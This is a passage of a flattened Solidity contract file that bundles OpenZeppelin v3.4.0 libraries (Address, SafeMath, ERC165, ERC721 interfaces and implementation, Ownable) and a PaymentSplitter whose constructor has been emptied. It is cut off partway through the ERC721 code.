* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/payment/PaymentSplitter.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
using SafeMath for uint256;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor () public payable {}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive () external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance.add(_totalReleased);
uint256 payment = totalReceived.mul(_shares[account]).div(_totalShares).sub(_released[account]);
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account].add(payment);
_totalReleased = _totalReleased.add(payment);
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) internal {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares.add(shares_);
emit PayeeAdded(account, shares_);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
